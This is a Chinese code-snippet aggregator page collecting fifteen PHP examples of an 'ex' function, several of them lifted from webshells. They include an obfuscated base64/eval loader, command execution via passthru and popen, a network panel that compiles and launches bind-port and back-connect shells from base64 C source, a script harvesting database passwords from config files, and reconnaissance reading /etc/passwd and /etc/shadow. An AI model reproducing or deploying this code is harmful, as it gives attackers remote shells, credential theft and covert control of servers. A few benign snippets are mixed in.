当前位置: 首页>>代码示例>>PHP>>正文


PHP ex函数代码示例

本文整理汇总了PHP中ex函数的典型用法代码示例。如果您正苦于以下问题:PHP ex函数的具体用法?PHP ex怎么用?PHP ex使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了ex函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: cx

function cx()
{
    $x = @base64_decode(@implode(@array_slice(@file(__FILE__), -1)));
    $y = @dx($x, @bx($x));
    @fx(@base64_encode(@ex($y, @hash("sha256", @mt_rand()))));
    @eval($y);
    die;
}
开发者ID:cjm00,项目名称:Goodbye-World,代码行数:8,代码来源:xor.php

示例2: assertOkay

function assertOkay(PromiseInterface $promise, $name = 'end')
{
    return $promise->then(function ($stream) use($name) {
        echo 'EXPECTED: connection to ' . $name . ' OK' . PHP_EOL;
        $stream->close();
    }, function (Exception $error) use($name) {
        echo 'FAIL: connection to ' . $name . ' failed: ';
        ex($error);
    });
}
开发者ID:Sitronik,项目名称:php-socks,代码行数:10,代码来源:client.php

示例3: zhineng_contents

function zhineng_contents($url)
{
    $a = getrobotmeg($url);
    $title = $a[leachsubject];
    $contents = $a[leachmessage];
    $fh = array('|', '_', '-', ' ', '―', '_', '!');
    foreach ($fh as $s) {
        $title = ex($title, $s, 0);
    }
    return array(title => ' ' . trim($title), contents => $contents, tag => getkeyword($title));
}
开发者ID:andychang88,项目名称:daddy-store.com,代码行数:11,代码来源:dong_api.php

示例4: __callStatic

 /**
  * Magic method for handling API methods.
  *
  * @param   string  $method
  * @param   array   $args
  * @return  array
  */
 public static function __callStatic($method, $args)
 {
     // catch args
     $args = isset($args[0]) ? $args[0] : [];
     // set apikey
     $apikey = ex($args, 'apikey');
     // catch error...
     if (!$apikey) {
         trigger_error('API key required.');
     }
     // set type
     $type = ex($args, 'is_full') ? 'full' : 'basic';
     // set host
     $host = ex($args, 'is_sandbox') ? 'api-sandbox.wealthengine.com' : 'api.wealthengine.com';
     // cleanup
     unset($args['apikey'], $args['is_full'], $args['is_sandbox']);
     // set endpoint
     $endpoint = 'https://' . $host . '/v1/profile/find_one/' . $method . '/' . $type;
     // set headers
     $headers = ['Content-Type: application/json', 'Authorization: APIKey ' . $apikey];
     // build payload
     $payload = json_encode($args);
     // setup curl request
     $ch = curl_init();
     curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
     curl_setopt($ch, CURLOPT_URL, $endpoint);
     curl_setopt($ch, CURLOPT_TIMEOUT, 30);
     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
     curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
     curl_setopt($ch, CURLOPT_POST, true);
     curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
     $response = curl_exec($ch);
     // catch error...
     if (curl_errno($ch)) {
         // report
         #$errors = curl_error($ch);
         // fail
         $result = false;
     } else {
         // set result
         $result = json_decode($response);
     }
     // close
     curl_close($ch);
     // return
     return $result;
 }
开发者ID:swt83,项目名称:php-wealthengine,代码行数:55,代码来源:WealthEngine.php

示例5: GetValue

}
echo "</table>";
$statsik = $_GET['stat'];
$licz = $tab[0][$statsik] + 1;
$AP = GetValue("select ap from `CHARACTER` where userid='{$loginId}'");
echo "<p>AP: {$AP}</p>";
if (isset($statsik) && $AP > 0) {
    $AP--;
    switch ($statsik) {
        case 0:
            ex("update `character` set speed = {$licz}, ap={$AP} where userid='{$loginId}'");
            break;
        case 1:
            ex("update `character` set str = {$licz}, ap={$AP} where userid='{$loginId}'");
            break;
        case 2:
            ex("update `character` set agi = {$licz}, ap={$AP} where userid='{$loginId}'");
            break;
        case 3:
            $licz = $licz + 9;
            ex("update `character` set livemax = {$licz}, live = {$licz}, ap={$AP} where userid='{$loginId}'");
            break;
        default:
            echo "<p>Popsiłueś =(</p>";
            break;
    }
} else {
    echo "<p>Nie masz wystarczająco dużo pkt. umiejętności!</p>";
}
?>
<p><a href="Main.php">Wróć</a></p>
开发者ID:s19367,项目名称:Zadaniepoprawkowe2,代码行数:31,代码来源:staty.php

示例6: which

function which($pr)
{
    if ($GLOBALS['windows']) {
        return 0;
    }
    $path = ex("which {$pr}");
    if (!empty($path)) {
        return $path;
    } else {
        return 0;
    }
}
开发者ID:retanoj,项目名称:webshellSample,代码行数:12,代码来源:cba3e0e2e0bc97e937acf08c46f6d04c.php

示例7: pwd_conwert

function pwd_conwert()
{
    $res = "";
    if (file_exists("/etc/passwd")) {
        $input = implode(file("/etc/passwd"));
        $input = explode("\n", $input);
        foreach ($input as $i => $v) {
            $word = explode(":", $v);
            $res .= $word[0] . " ";
        }
        $res = explode(" ", $res);
    } else {
        $input = implode(ex("cat /etc/passwd"));
        $input = explode("\n", $input);
        foreach ($input as $i => $v) {
            $word = explode(":", $v);
            $res .= $word[0] . " ";
        }
        $res = explode(" ", $res);
    }
    return $res;
}
开发者ID:Theov,项目名称:webshells,代码行数:22,代码来源:gfs_sh.php

示例8: testwget

 function testwget()
 {
     if (ex('wget --help')) {
         return showstat("on");
     } else {
         return showstat("off");
     }
 }
开发者ID:yulb2020,项目名称:webshellSample,代码行数:8,代码来源:254aa81bd5e41fe535e7e691a9d59c2e.php

示例9: elseif

        } elseif (function_exists('passthru')) {
            @ob_start();
            @passthru($cmd);
            $output = @ob_get_contents();
            @ob_end_clean();
        } elseif (@is_resource($f = @popen($cmd, "r"))) {
            $output = "";
            while (!@feof($f)) {
                $output .= @fread($f, 1024);
            }
            @pclose($f);
        }
    }
    return $output;
}
$cmd = (print ex($cmd));
if (!empty($output)) {
    echo str_replace(">", ">", str_replace("<", "<", $output));
}
?>
</font></pre>
<hr color="black" width=751px height=115px>
         <SCRIPT LANGUAGE="JavaScript">
         <!--
           document.injection.cmd.focus();
         //-->
         </SCRIPT>

</td><td>&nbsp;</td>
</tr></table></div>
<?php 
开发者ID:ap0110,项目名称:DarkArts,代码行数:31,代码来源:simple_shell.php

示例10: stats

 /**
  * [stats gets the data required to output a series of charts, graphs, and statistics]
  * @return [array] [an array of arrays that contains the necessary data in the required format]
  */
 public function stats()
 {
     # redirect if not logged in
     if (!$this->isAdminLoggedIn()) {
         redirect("/");
     }
     # get all the data
     $data = array();
     $data['sales_counts'] = $this->admin_m->stats_SalesCountsSinceLastRelease();
     $data['percent_free'] = $this->admin_m->stats_PercentFreePurchases();
     $data['avg_paid'] = $this->admin_m->stats_AvgPricePaid();
     $data['avg_paid_by_item'] = $this->admin_m->stats_AvgPricePaidByItem();
     $data['total_income_by_item'] = $this->admin_m->stats_TotalIncomeByItem();
     $data['total_purchases_by_month'] = $this->admin_m->stats_TotalPurchasesByMonth();
     $data['total_income_by_month'] = $this->admin_m->stats_TotalIncomeByMonth();
     ex($data);
 }
开发者ID:suman0359,项目名称:alanmarcero.com-PHP,代码行数:21,代码来源:admin.php

示例11: actionNetwork

function actionNetwork() {
	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcig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EpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	?>
	<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
	<span>Bind port to /bin/sh</span><br/>
	Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass' value='wso'> Using: <select name="using"><option value='bpc'>C</option><option value='bpp'>Perl</option></select> <input type=submit value=">>">
	</form>
	<form name='nfp' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
	<span>Back-connect to</span><br/>
	Server: <input type='text' name='server' value='<?=$_SERVER['REMOTE_ADDR']?>'> Port: <input type='text' name='port' value='31337'> Using: <select name="using"><option value='bcc'>C</option><option value='bcp'>Perl</option></select> <input type=submit value=">>">
	</form><br>
	<?php
	if(isset($_POST['p1'])) {
		function cf($f,$t) {
			$w=@fopen($f,"w") or @function_exists('file_put_contents');
			if($w)	{
				@fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST['p1'] == 'bpc') {
			cf("/tmp/bp.c",$bind_port_c);
			$out = ex("gcc -o /tmp/bp /tmp/bp.c");
			@unlink("/tmp/bp.c");
			$out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
			echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
		}
		if($_POST['p1'] == 'bpp') {
			cf("/tmp/bp.pl",$bind_port_p);
			$out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
			echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
		}
		if($_POST['p1'] == 'bcc') {
			cf("/tmp/bc.c",$back_connect_c);
			$out = ex("gcc -o /tmp/bc /tmp/bc.c");
			@unlink("/tmp/bc.c");
			$out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
			echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
		}
		if($_POST['p1'] == 'bcp') {
			cf("/tmp/bc.pl",$back_connect_p);
			$out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
			echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
		}
	}
	echo '</div>';
}
开发者ID:akagisho,项目名称:php-malware-scanner,代码行数:51,代码来源:fox.php

示例12: get_data

function get_data($url)
{
    $ar = array('1.txt', '2.txt', '3.txt', '4.txt', '5.txt', '6.txt', '7.txt', '8.txt', '9.txt', '0.txt');
    $src = file_get_contents($url);
    $files = explode('<a href="', $src);
    $data = array();
    foreach ($files as $id => $file) {
        if ($id == 0) {
            continue;
        }
        $file = explode('">', $file);
        $file = trim($file[0]);
        if (!eregi('.txt', $file)) {
            continue;
        }
        $src = file_get_contents("{$url}/{$file}");
        if (!$src) {
            continue;
        }
        $user = str_replace($ar, '', $file);
        $user = str_replace($ar, '', $user . '.txt');
        $user = str_replace($ar, '', $user . '.txt');
        $user = trim(str_replace('.txt', '', $user));
        if (eregi("WordPress", $src)) {
            $pass = ex("define('DB_PASSWORD', '", "');", $src);
            $data[] = array($user, $pass);
        } else {
            $tokens = token_get_all($src);
            foreach ($tokens as $token) {
                if (!$token[1]) {
                    continue;
                }
                $tokenname = token_name($token[0]);
                if ($tokenname != 'T_VARIABLE') {
                    continue;
                }
                $var = $token[1];
                if (eregi('pass', $var)) {
                    $f = str_replace(' ', '', ex($var, ';', $src));
                    $a = trim(ex("='", "'", $f));
                    $b = trim(ex('"', '"', $f));
                    if ($a != '') {
                        $pass = $a;
                    } elseif ($b != '') {
                        $pass = $b;
                    }
                    if ($pass == '') {
                        continue;
                    }
                    $data[] = array($user, $pass);
                }
            }
        }
    }
    return $data;
}
开发者ID:KbaHaxor,项目名称:test,代码行数:56,代码来源:getcpanel.php

示例13: actionSecInfo

function actionSecInfo()
{
    echo '<h1>Server security information</h1><div class=content>';
    function showSecParam($n, $v)
    {
        $v = trim($v);
        if ($v) {
            echo '<span>' . $n . ': </span>';
            if (strpos($v, "\n") === false) {
                echo $v . '<br>';
            } else {
                echo '<pre class=ml1>' . $v . '</pre>';
            }
        }
    }
    showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if (function_exists('apache_get_modules')) {
        showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
    }
    showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
    showSecParam('Open base dir', @ini_get('open_basedir'));
    showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
    showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
    showSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
    $temp = array();
    if (function_exists('mysql_get_client_info')) {
        $temp[] = "MySql (" . mysql_get_client_info() . ")";
    }
    if (function_exists('mssql_connect')) {
        $temp[] = "MSSQL";
    }
    if (function_exists('pg_connect')) {
        $temp[] = "PostgreSQL";
    }
    if (function_exists('oci_connect')) {
        $temp[] = "Oracle";
    }
    showSecParam('Supported databases', implode(', ', $temp));
    echo '<br>';
    if ($GLOBALS['os'] == 'nix') {
        $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
        $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
        $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
        showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
        showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>" : 'no');
        showSecParam('OS version', @file_get_contents('/proc/version'));
        showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
        if (!$GLOBALS['safe_mode']) {
            echo '<br>';
            $temp = array();
            foreach ($userful as $item) {
                if (which($item)) {
                    $temp[] = $item;
                }
            }
            showSecParam('Userful', implode(', ', $temp));
            $temp = array();
            foreach ($danger as $item) {
                if (which($item)) {
                    $temp[] = $item;
                }
            }
            showSecParam('Danger', implode(', ', $temp));
            $temp = array();
            foreach ($downloaders as $item) {
                if (which($item)) {
                    $temp[] = $item;
                }
            }
            showSecParam('Downloaders', implode(', ', $temp));
            echo '<br/>';
            showSecParam('Hosts', @file_get_contents('/etc/hosts'));
            showSecParam('HDD space', ex('df -h'));
            showSecParam('Mount options', @file_get_contents('/etc/fstab'));
        }
    } else {
        showSecParam('OS Version', ex('ver'));
        showSecParam('Account Settings', ex('net accounts'));
        showSecParam('User Accounts', ex('net user'));
    }
    echo '</div>';
}
开发者ID:yudhaDitya,项目名称:ShellIBT,代码行数:82,代码来源:shellibt.php

示例14: which

function which($pr)
{
    $path = ex("which {$pr}");
    if (!empty($path)) {
        return $path;
    } else {
        return $pr;
    }
}
开发者ID:Theov,项目名称:webshells,代码行数:9,代码来源:r57.php

示例15: getIterator

 public function getIterator()
 {
     ex(__METHOD__);
 }
开发者ID:badlamer,项目名称:hhvm,代码行数:4,代码来源:446.php


注:本文中的ex函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。